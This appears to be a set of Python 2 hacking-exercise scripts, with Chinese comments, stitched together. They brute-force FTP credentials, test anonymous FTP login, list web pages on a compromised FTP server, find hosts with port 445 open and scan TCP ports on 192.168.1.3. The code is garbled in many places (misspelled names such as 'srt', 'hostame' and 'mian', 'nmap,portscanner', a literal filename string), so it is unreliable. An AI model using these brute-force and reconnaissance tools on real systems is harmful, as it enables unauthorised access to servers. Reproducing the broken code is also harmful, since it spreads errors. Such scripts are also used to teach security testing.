# encoding: utf-8
import ftplib
# 暴力破解FTP口令
def brutelogin(hostname,passwdfile):
p = open('passwdfile','r')
# 尝试用每个口令登录目标FTP
for line in p.readlines():
user = line.split(':')[0]
p = line.split(':')[1].strip('\n')
print '[+] trying: ' + user + ': ' + p
try:
ftp = ftplib.FTP(hostname)
ftp.login(user,p)
print '\n[*]' + srt(hostname) + 'FTP login succeeded: ' + user +':' + p
ftp.quit()
return (user,p)
except Exception,e:
pass
print '\n[-] could not brute force ftp credentials.'
return (None,None)
host = '192.168.1.3'
passwdfile = 'pass.txt'
brutelogin(host,passwdfile)
# encoding: utf-8
import ftplib
# 发现默认页面
def returndefault(ftp):
try:
# 获取FTP目录
dirlist = ftp.nlist()
except:
dirlist = []
print '[-] could not list directory contents'
print '[-] skipping to next target'
return
# 默认页面列表
retlist = []
for filename in dirlist:
fn = filename.lower()
# 寻找特定后缀的文件名
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print '[+] found default page: ' + filename
retlist.append(filename)
return retlist
host = '192.168.1.3'
username = 'administrator'
password = '123456'
# 实例化FTP连接
ftp = ftplib.FTP(host)
ftp.login(username,password)
returndefault(ftp)
# encoding: utf-8
import ftplib
import optparse
# 匿名登录
def anonlogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous','me@youer.com')
print '\n[*]' + str(hostame) + 'FTP anonymous login successded'
ftp.quit()
return True
except Exception,e:
print '\n[-] ' +str(hostame) + 'FTP anonymous logon failed.'
return False
# 破解口令
def brutelogin(hostname,passwdfile):
p = open('passwdfile','r')
for line in p.readlines():
user = line.split(':')[0]
p = line.split(':')[1].strip('\n')
print '[+] trying: ' + user + ': ' + p
try:
ftp = ftplib.FTP(hostname)
ftp.login(user,p)
print '\n[*]' + srt(hostname) + 'FTP login succeeded: ' + user +':' + p
ftp.quit()
return (user,p)
except Exception,e:
pass
print '\n[-] could not brute force ftp credentials.'
return (None,None)
# 发现默认页面
def returndefault(ftp):
try:
dirlist = ftp.nlist()
except:
dirlist = []
print '[-] could not list directory contents'
print '[-] skipping to next target'
return
retlist = []
for filename in dirlist:
fn = filename.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print '[+] found default page: ' + filename
retlist.append(filename)
return retlist
def mian():
parser = optparse.OptionParser('usage %prog -H <target host[s]> [-f <userpass file>]')
parser.add_option('-H',dest='thost',type='string',help='specify target host')
parser.add_option('-f',dest='passwdfile',type='string',help='specify user/password file')
(options,args) = parser.parser_args()
thost = options.thost
passwdfile = options.passwdfile
if thost == None:
print parser.usage
exit (0)
username = None
password = None
# 尝试匿名登录
if anonlogin(thost) == True:
username = 'administrator'
password = '123456'
ftp = ftplib.FTP(thost)
ftp.login(username,password)
returndefault(ftp)
# 尝试暴力破解登录
elif passwdfile != None:
(username,password) = brutelogin(thost,passwdfile)
ftp = ftplib.FTP(thost)
ftp.login(username,password)
returndefault(ftp)
if __name__ == "__main__":
main()
# encoding: utf-8
# 使用nmap库
import nmap
def findtarget():
# 实例化端口扫描
nmscan = nmap,portscanner()
# 扫描开放了445端口的主机并将其放置在数组中返回
nmscan.scan(subnet,'445')
targets = []
for t in nmscan.all_hosts():
if nmscan[t].has_tcp(445):
state = nmscan[t]['tcp'][445]['state']
if state == 'open':
print '[+] found target host: ' + t
targets.append(t)
return targets
# -*- coding: utf-8 -*-
from socket import *
# 简单扫描
def PortScanner(host,port):
try:
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
print("[+] %d open" % port)
s.close()
except:
print("[-] %d close" % port)
def main():
setdefaulttimeout(1)
for p in range(20,100):
PortScanner('192.168.1.3',p)
if __name__ == '__main__':
main()
# -*- coding: utf-8 -*-
from socket import *
import threading
lock = threading.Lock()
openNum = 0
threads = []
# 简单扫描
def PortScanner(host,port):
global openNum
try:
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
lock.acquire() #所定成员
openNum += 1
print("[+] %d open" % port)
lock.release() #解锁
s.close()
except:
pass
def main():
setdefaulttimeout(1)
for p in range(1,1024): #端口范围
t = threading.Thread(target=PortScanner,args=('192.168.1.3',p))
threads.append(t) #创建threads数据
t.start()
for t in threads:
t.join()
print("[*] The scan is complete!")
print("[*] a total of %d open port" % (openNum))
if __name__ == '__main__':
main()